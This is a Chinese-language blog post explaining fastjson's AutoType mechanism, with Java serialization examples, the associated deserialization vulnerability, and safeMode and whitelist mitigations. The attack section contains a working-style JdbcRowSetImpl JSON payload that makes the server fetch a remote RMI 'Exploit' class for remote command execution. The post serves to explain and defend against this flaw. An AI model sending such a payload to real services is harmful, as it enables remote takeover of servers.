fastjson 格式java对象为空的属性 fastjson的autotype属性

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mob64ca14095513 2023-08-07 13:35:37

文章标签 json spring 安全 java JSON 文章分类 Java 后端开发

文章目录

1. AutoType 何方神圣？
1.1 type字段
1.2 setAutoTypeSupport
2.反序列化攻击
3.AutoType 安全模式
4.参考

1. AutoType 何方神圣？

参考

fastjson的主要功能就是将Java Bean序列化成JSON字符串，这样得到字符串之后就可以通过数据库等方式进行持久化了。

但是，fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制，而是自定义了一套机制。

其实，对于JSON框架来说，想要把一个Java对象转换成字符串，可以有两种选择：

1、基于属性
2、基于setter/getter

而我们所常用的JSON序列化框架中，FastJson和jackson在把对象序列化成json字符串的时候，是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的，他是通过反射遍历该类中的所有属性，并把其值序列化成json。

1.1 type字段

假设我们有以下Java类：

public interface Fruit {
}

@Data
@AllArgsConstructor
@NoArgsConstructor
public class Apple implements Fruit{
    private BigDecimal price;
}

@Data
@AllArgsConstructor
@NoArgsConstructor
public class Store {
    private String name;
    private Fruit fruit;
}

那么问题来了，我们上面的定义的Fruit只是一个接口，序列化的时候fastjson能够把属性值正确序列化出来吗？如果可以的话，那么反序列化的时候，fastjson会把这个fruit反序列化成什么类型呢？

我们尝试着验证一下，基于(fastjson 1.2.75)：

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

我们创建了一个store，为他指定了名称，并且创建了一个Fruit的子类型Apple，然后将这个store使用 JSON.toJSONString

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

那么，这个fruit的类型到底是什么呢，能否反序列化成Apple呢？我们再来执行以下代码：

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

执行结果报错，我们尝试将Fruit转换成Apple，但是抛出了异常。

以上现象，我们知道，当一个类中包含了一个接口（或抽象类）的时候，在使用fastjson进行序列化的时候，会将子类型抹去，只保留接口（抽象类）的类型，使得反序列化时无法拿到原始类型。

那么有什么办法解决这个问题呢，fastjson引入了AutoType，即在序列化的时候，把原始类型记录下来。

使用方法是通过 SerializerFeature.WriteClassName

String jsonString = JSON.toJSONString(store);

修改成：

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

输出结果如下：

{
    "@type":"com.example.redis.entity.Store",
    "fruit":{
        "@type":"com.example.redis.entity.Apple", //多了@type映射全类名,反序列就可以找到对应的类
        "price":0.5
    },
    "name":"Hollis"
}

这就是AutoType，以及fastjson中引入AutoType的原因。

1.2 setAutoTypeSupport

首先，可以通过

ParserConfig.getGlobalInstance().isAutoTypeSupport(); //获取是否允许AutoType(默认是fasle)
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 设置全局支持或禁止AutoType

尝试关闭AutoType后：

ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 设置全局支持或禁止AutoType

发现以上的代码还是可以 正常

但是如果使用了范型,如下:

再有以下Java类：

@Data
@AllArgsConstructor
@NoArgsConstructor
@ToString
public class Result<T>{
    private T data;
}

再对Store进行封装：

ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
//ParserConfig.getGlobalInstance().setSafeMode(true);
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);

Result<Store> t = new Result<>(store);
String jsonString = JSON.toJSONString(t, SerializerFeature.WriteClassName);
System.out.println("toJSONString : " + jsonString);
Result result = JSON.parseObject(jsonString, Result.class);
System.out.println("parseObject : " + result);

输出结果:

toJSONString : {"@type":"com.example.redis.entity.Result","data":{"@type":"com.example.redis.entity.Store","fruit":{"@type":"com.example.redis.entity.Apple","price":0.5},"name":"Hollis"}}
com.alibaba.fastjson.JSONException: autoType is not support.   // 异常autoType is not support
....

若开启setAutoTypeSupport(true)，

toJSONString : {"@type":"com.example.redis.entity.Result","data":{"@type":"com.example.redis.entity.Store","fruit":{"@type":"com.example.redis.entity.Apple","price":0.5},"name":"Hollis"}}
parseObject : Result(data=Store(name=Hollis, fruit=Apple(price=0.5))) //可以正常反序列化

2.反序列化攻击

因为有了autoType功能，那么fastjson在对JSON字符串进行反序列化的时候，就会读取@type到内容，试图把JSON内容反序列化成这个对象，并且会调用这个类的setter方法。

那么就可以利用这个特性，自己构造一个JSON字符串，并且使用@type指定一个自己想要使用的攻击类库。

举个例子，黑客比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl，这是sun官方提供的一个类库，这个类的dataSourceName支持传入一个rmi的源，当解析这个uri的时候，就会支持rmi远程调用，去指定的rmi地址中去调用方法。

而fastjson在反序列化时会调用目标类的setter方法，那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令，那么就会导致很严重的后果。

如通过以下方式定一个JSON串，即可实现远程命令执行（在早期版本中，新版本中JdbcRowSetImpl已经被加了黑名单）

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

这就是所谓的远程命令执行漏洞，即利用漏洞入侵到目标服务器，通过服务器执行命令。

3.AutoType 安全模式

这些漏洞的利用几乎都是围绕AutoType来的，于是，在 v1.2.68版本中，引入了safeMode，配置safeMode后，无论白名单和黑名单，都不支持autoType，可一定程度上缓解反序列化类变种攻击。

设置了safeMode后，@type 字段不再生效，即当解析形如{"@type": “com.java.class”}的JSON串时，将不再反序列化出对应的类。(无论白名单和黑名单，都不支持autoType)。

ParserConfig.getGlobalInstance().setSafeMode(true);

所以一般使用AutoType时建议使用指定白名单的方式。

// 全局开启AutoType，不建议使用
   // ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
   // 建议使用这种方式，小范围指定白名单
   ParserConfig.getGlobalInstance().addAccept("xxx.xxx.");